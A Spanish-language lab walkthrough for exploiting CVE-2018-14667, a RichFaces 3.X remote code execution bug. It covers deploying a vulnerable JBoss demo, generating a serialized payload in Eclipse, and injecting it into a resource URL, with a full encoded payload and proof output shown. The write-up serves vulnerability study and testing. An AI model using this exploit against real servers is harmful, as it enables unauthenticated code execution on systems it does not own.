CVE-2018-14667

Después de pasar mucho tiempo para entender y explotar correctamente este CVE, decidí construir un repositorio sobre el bug RCE de RichFaces 3.X y compartir los HOWTOs paso a paso con la comunidad.

0x00 : Introducción sobre el bug de RichFaces 3.X

El lunes 19 de noviembre, Joao F M Figueiredo publicó un artículo muy detallado (https://seclists.org/fulldisclosure/2018/Nov/47) sobre una vulnerabilidad crítica de alto riesgo en RichFaces.
Puntuación Base CVSS3: 9.8

Esta vulnerabilidad permitirá a cualquier usuario no autenticado ejecutar código de forma remota en cualquier aplicación web que utilice RichFaces 3.X (todas las versiones), lo que es prácticamente el peor escenario.

0x01 : ¿Estoy afectado? 

Bueno, si estás ejecutando RichFaces 3.X (cualquier versión de RichFaces 3) y ves el siguiente código en tu fuente, es probable que sí, podrías ser vulnerable a la ejecución remota de código en CVE-2018-14667:

• org.ajax4jsf.resource.InternetResource
• org.ajax4jsf.resource.SerializableResource
• javax.el.Expression
• javax.faces.el.MethodBinding
• javax.faces.component,StateHolderSaver
• java.awt.Color

0x02 : Ejecutar un entorno vulnerable para probar el bug 

Básicamente, volveré a explicar lo que ya se ha cubierto en el artículo de seclists.org sobre cómo desplegar un entorno vulnerable.

1. Descarga JBoss 5.1.0GA y una aplicación demo con RichFaces que contiene la aplicación PhotoAlbum.
   → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
   → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
2. Descomprime el archivo ZIP.
3. Copia la aplicación richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear al directorio de despliegue de JBoss jboss-5.1.0.GA/server/default/deploy/
4. Inicia el servidor de aplicaciones JBoss usando la siguiente sintaxis (asegúrate antes de iniciar que tu puerto 8080 no esté en uso): cd bin ; ./run.sh -b 0.0.0.0
5. Necesitarás navegar a la página de inicio de PhotoAlbum para activar la aplicación web.

0x03 : Generar un payload válido 

¡Ahora la parte divertida! Aquí es donde he experimentado dificultades, así que explicaré en detalle cómo generar un payload válido y sin repetir los mismos errores que cometí. Sugeriría primero usar Eclipse para compilar el payload.

1. Descarga Eclipse desde el siguiente enlace:
   → https://www.eclipse.org/downloads/
2. Inicia Eclipse y elige crear un nuevo Web Project.
3. Obtén el generador de payload (créditos a orich1 de https://xz.aliyun.com/t/3264) disponible en este repositorio
   → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
4. Extrae el archivo WAR de este repositorio (richfaces-demo-3.3.0.GA-tomcat6.war), copia todos los archivos .jar de la carpeta WEB-INF/lib/ a WebContent/WEB-INF/lib/ en tu proyecto web Java en Eclipse
   → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
5. Agrega el archivo Main.java en Eclipse; haz clic derecho en el nombre de tu proyecto web Java en Eclipse, New, File.
6. Haz que la carpeta WebContent/WEB-INF/lib sea la fuente de Build Path en Eclipse; haz clic derecho en la carpeta lib, Build Path, Use as Source Folder.
7. Veamos si tienes suerte; haz clic en el botón verde Play para ejecutar el compilador. Si obtienes 0 errores y un payload válido en tu salida, felicitaciones, ahora tienes un payload válido para CVE-2018-14667. Ahora, si estás teniendo todo tipo de errores, no entres en pánico. Puedes comentar las siguientes líneas: 29,30,31,32,33,34,35 para que se vean así:

        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

El resultado de tu salida en Eclipse debería verse así:

/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Enviar tu payload y obtener Ejecución Remota de Código 

Navega en tu navegador a tu servidor JBoss local que ejecuta la Aplicación Web PhotoAlbum http://192.168.100.2:8080/photoalbum y haz clic derecho para ver el código fuente. Presiona Ctrl+F y busca '/DATA/'. Deberías encontrar algo similar a esto:

src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Puedes ver claramente el objeto serializado. Aquí es donde reemplazaremos el objeto serializado por nuestro payload para obtener ejecución remota de código. En tu navegador, cambia la URL a http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. Mi payload ejecutaba el siguiente comando 'touch /tmp/PoorRichFaces'. Veamos si tuve éxito:

drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Se siente bien, ¿verdad? Acabamos de obtener RCE en una aplicación web Java que ejecuta RichFaces 3.X.